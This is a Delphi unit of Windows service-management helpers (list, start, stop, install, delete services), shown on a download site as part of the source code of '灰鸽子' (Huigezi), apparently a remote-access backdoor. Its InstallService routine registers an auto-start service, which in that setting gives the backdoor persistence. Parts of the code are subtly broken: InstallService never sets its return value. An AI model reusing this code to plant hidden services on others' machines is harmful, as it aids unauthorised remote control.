⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 winntservice.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
//unit Service: List Service and Operate Service;
unit winntService;

interface

uses WinSvc,Classes,Windows,Sysutils,WinSvcEx;

function ServiceGetList(
  sMachine : string;
  dwServiceType,
  dwServiceState : Dword;
  slServicesList : TStrings )
  : boolean;                            //List service

function ServiceGetKeyName(
  sMachine,
  sServiceDispName : string ) : string;    //convert displayname to keyname

function ServiceGetDisplayName(
  sMachine,
  sServiceKeyName : string ) : string;     //conver keyname to displayname

function ServiceGetStatus(
  sMachine,
  sService : string ) : DWord;           //Get service status

function ServiceRunning(
  sMachine,
  sService : string ) : boolean;

function ServiceStopped(
  sMachine,
  sService : string ) : boolean;

function ServiceStart(
  sMachine,
  sService : string ) : boolean;

function ServiceStop(
  sMachine,
  sService : string ) : boolean;
  
function InstallService(Target:String;ServiceName:String;Filename:String;Value: string):Boolean;
  
function DelService(ServiceName:String):Boolean;

implementation
{const
  //
  // Service Types
  //
  SERVICE_KERNEL_DRIVER       = $00000001;
  SERVICE_FILE_SYSTEM_DRIVER  = $00000002;
  SERVICE_ADAPTER             = $00000004;
  SERVICE_RECOGNIZER_DRIVER   = $00000008;

  SERVICE_DRIVER              =
    (SERVICE_KERNEL_DRIVER or
     SERVICE_FILE_SYSTEM_DRIVER or
     SERVICE_RECOGNIZER_DRIVER);

  SERVICE_WIN32_OWN_PROCESS   = $00000010;
  SERVICE_WIN32_SHARE_PROCESS = $00000020;
  SERVICE_WIN32               =
    (SERVICE_WIN32_OWN_PROCESS or
     SERVICE_WIN32_SHARE_PROCESS);

 // SERVICE_INTERACTIVE_PROCESS = $00000100;

  SERVICE_TYPE_ALL            =
    (SERVICE_WIN32 or
     SERVICE_ADAPTER or
     SERVICE_DRIVER  or
     SERVICE_INTERACTIVE_PROCESS);  }



//-------------------------------------
// Get a list of services
//
// return TRUE if successful
//
// sMachine:
//   machine name, ie: \\SERVER
//   empty = local machine
//
// dwServiceType
//   SERVICE_WIN32,
//   SERVICE_DRIVER or
//   SERVICE_TYPE_ALL
//
// dwServiceState
//   SERVICE_ACTIVE,
//   SERVICE_INACTIVE or
//   SERVICE_STATE_ALL
//
// slServicesList
//   TStrings variable to storage
//
function ServiceGetList(
  sMachine : string;
  dwServiceType,
  dwServiceState : Dword;
  slServicesList : TStrings )
  : boolean;
const
  cnMaxServices = 4096;
type
  TSvcA = array[0..cnMaxServices]
          of TEnumServiceStatus;
  PSvcA = ^TSvcA;
          
var
  j : integer;
  schm          : SC_Handle;
  nBytesNeeded,
  nServices,
  nResumeHandle : DWord;
  ssa : PSvcA;
begin
  Result := false;

  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_ALL_ACCESS);

  if(schm > 0)then      // if successful...
  begin
    nResumeHandle := 0;
    New(ssa);

    EnumServicesStatus(
      schm,
      dwServiceType,
      dwServiceState,
      ssa^[0],
      SizeOf(ssa^),
      nBytesNeeded,
      nServices,
      nResumeHandle );

    for j := 0 to nServices-1 do
    begin
      slServicesList.
        Add( StrPas(
          ssa^[j].lpDisplayName ) );
    end;
    Result := true;
    Dispose(ssa);
    CloseServiceHandle(schm);
  end;
end;


function ServiceGetKeyName(
  sMachine,
  sServiceDispName : string ) : string;
var
  schm          : SC_Handle;
  nMaxNameLen   : DWord;    // max key name len
  psServiceName : PChar;    // temp. string
begin
  Result := '';
  nMaxNameLen := 255;

  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then     // if successful...
  begin
    psServiceName :=
      StrAlloc(nMaxNameLen+1);

    if(nil <> psServiceName)then
    begin
      if(GetServiceKeyName(schm,PChar(sServiceDispName),psServiceName,nMaxNameLen ) )then
      begin
        psServiceName
          [nMaxNameLen] := #0;
        Result :=StrPas( psServiceName );
      end;
      StrDispose(psServiceName);
    end;
    CloseServiceHandle(schm);
  end;
end;


function ServiceGetDisplayName(
  sMachine,
  sServiceKeyName : string ) : string;
var
  schm          : SC_Handle;
  nMaxNameLen   : DWord;    // max display name len
  psServiceName : PChar;
begin
  Result := '';
  nMaxNameLen := 255;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then    // if successful...
  begin
    psServiceName :=
      StrAlloc(nMaxNameLen+1);
    if(nil <> psServiceName)then
    begin
      if( GetServiceDisplayName(schm,PChar(sServiceKeyName),psServiceName,nMaxNameLen ) )then
      begin
        psServiceName
          [nMaxNameLen] := #0;
        Result :=StrPas( psServiceName );
      end;
      StrDispose(psServiceName);
    end;
    CloseServiceHandle(schm);
  end;
end;


//-------------------------------------
// get service status
//
// return status code if successful
// -1 if not
//
// return codes:
//   SERVICE_STOPPED
//   SERVICE_RUNNING
//   SERVICE_PAUSED
//
// following return codes
// are used to indicate that
// the service is in the
// middle of getting to one
// of the above states:
//   SERVICE_START_PENDING
//   SERVICE_STOP_PENDING
//   SERVICE_CONTINUE_PENDING
//   SERVICE_PAUSE_PENDING
//
// sMachine:
//   machine name, ie: \\SERVER
//   empty = local machine
//
// sService
//   service name, ie: Alerter
//
function ServiceGetStatus(sMachine,sService : string ) : DWord;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  dwStat : DWord;
begin
  dwStat := 0;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then    // if successful...
  begin

    schs := OpenService(schm,PChar(sService),SERVICE_QUERY_STATUS);

    if(schs > 0)then  // if successful...
    begin
      if(QueryServiceStatus(schs,ss))then
      begin
        dwStat := ss.dwCurrentState;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);

  Result := dwStat;
    end
    else Result := SERVICE_STOPPED;
end;


//-------------------------------------
// return TRUE if the specified
// service is running, defined by
// the status code SERVICE_RUNNING.
// return FALSE if the service
// is in any other state, including
// any pending states
//
function ServiceRunning(sMachine,sService : string ) : boolean;
begin
  Result := SERVICE_RUNNING=ServiceGetStatus(sMachine, sService );
end;


//-------------------------------------
// return TRUE if the specified
// service was stopped, defined by
// the status code SERVICE_STOPPED.
//
function ServiceStopped(sMachine,sService : string ) : boolean;
begin
  Result := SERVICE_STOPPED=ServiceGetStatus(sMachine, sService );
end;


function ServiceStart( sMachine,
  sService : string ) : boolean;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  psTemp : PChar;
  dwChkP : DWord;
begin
  ss.dwCurrentState := 0;
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then  // if successful...
  begin
    schs := OpenService(schm,PChar(sService),
      SERVICE_START or
      SERVICE_QUERY_STATUS);

    if(schs > 0)then  // if successful...
    begin
      psTemp := Nil;
      if(StartService(schs,0,psTemp))then
      begin
        if(QueryServiceStatus(schs,ss))then
        begin
          while(SERVICE_RUNNING<>ss.dwCurrentState)do
          begin
            dwChkP := ss.dwCheckPoint;
            Sleep(ss.dwWaitHint);
            if(not QueryServiceStatus(schs,ss))then
            begin
              break;
            end;
            if(ss.dwCheckPoint <dwChkP)then
            begin
              break;
            end;
          end;
        end;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);
  end;
  Result :=SERVICE_RUNNING=ss.dwCurrentState;
end;



function ServiceStop(
  sMachine,
  sService : string ) : boolean;
var
  schm,schs   : SC_Handle;
  ss     : TServiceStatus;
  dwChkP : DWord;
begin
  schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
  if(schm > 0)then  // if successful...
  begin
    schs := OpenService(schm,PChar(sService),
      SERVICE_STOP or
      SERVICE_QUERY_STATUS);
    if(schs > 0)then  // if successful...
    begin
      if(ControlService(schs,SERVICE_CONTROL_STOP,ss))then
      begin
        if(QueryServiceStatus(schs,ss))then
        begin
          while(SERVICE_STOPPED<>ss.dwCurrentState)do
          begin
            dwChkP := ss.dwCheckPoint;
            Sleep(ss.dwWaitHint);
            if(not QueryServiceStatus(schs,ss))then
            begin
              break;
            end;
            if(ss.dwCheckPoint <dwChkP)then
            begin
              break;
            end;
          end;
        end;
      end;
      CloseServiceHandle(schs);
    end;
    CloseServiceHandle(schm);
  end;

  Result :=SERVICE_STOPPED=ss.dwCurrentState;
end;



function InstallService(Target:String;ServiceName:String;Filename:String;Value: string):Boolean;
var
ss     : TServiceStatus;
psTemp : PChar;
hSCM,hSCS:THandle;

srvdesc : PServiceDescription;
desc : string;
SrvType : DWord;
begin
psTemp := Nil;

SrvType := SERVICE_WIN32_OWN_PROCESS and SERVICE_INTERACTIVE_PROCESS;;

hSCM:=OpenSCManager('',nil,SC_MANAGER_ALL_ACCESS);
hSCS:=CreateService(hSCM, //句柄
Pchar(Target),            //服务名称
Pchar(ServiceName),       //显示服务名
SERVICE_ALL_ACCESS,       //服务访问类型
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,//服务类型  SERVICE_WIN32_OWN_PROCESS  and SERVICE_INTERACTIVE_PROCESS
SERVICE_AUTO_START,       //自动启动服务
SERVICE_ERROR_IGNORE,     //忽略错误
Pchar(Filename),          //启动的文件名
nil,//name of load ordering group (载入组名) 'LocalSystem'
nil,//标签标识符
nil,//相关性数组名
nil,//帐户(当前)
nil);//密码(当前)


  if Assigned(ChangeServiceConfig2) then
    begin
      // Service descriptions can't be longer than 1024!!!
      desc := Copy(Value,1,1024);
      GetMem(srvdesc,SizeOf(TServiceDescription));
      GetMem(srvdesc^.lpDescription,Length(desc) + 1);
      try
        StrPCopy(srvdesc^.lpDescription, desc);

        ChangeServiceConfig2(hSCS,SERVICE_CONFIG_DESCRIPTION,srvdesc);

      finally
        FreeMem(srvdesc^.lpDescription);
        FreeMem(srvdesc);
      end;
    end;

{    if(StartService(hSCS,0,psTemp))then
      begin
         while  QueryServiceStatus(hSCS,ss) do begin
           if ss.dwCurrentState=SERVICE_START_PENDING then
             Sleep(30)
           else break;
           if ss.dwCurrentState=SERVICE_RUNNING then begin
              CloseServiceHandle(hSCS);
              result :=True;
           end else result :=False;
         end;
     end;   }
end;

function DelService(ServiceName:String):Boolean;
var
sm: THandle;
sh: THandle;
ret: Integer;
begin
try
  ret := 0;
  sm := OpenSCManager('', nil, SC_MANAGER_ALL_ACCESS);
  if sm <> 0 then
  begin
    sh := OpenService(sm, PChar(ServiceName), SERVICE_ALL_ACCESS);
    if sh <> 0 then
      begin
        DeleteService(sh);
        ret := 1;
        CloseServiceHandle(sh);
      end;
      CloseServiceHandle(sm);
  end;
  if Ret > 0 then
    result :=True
  else
    result :=False;
except
end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -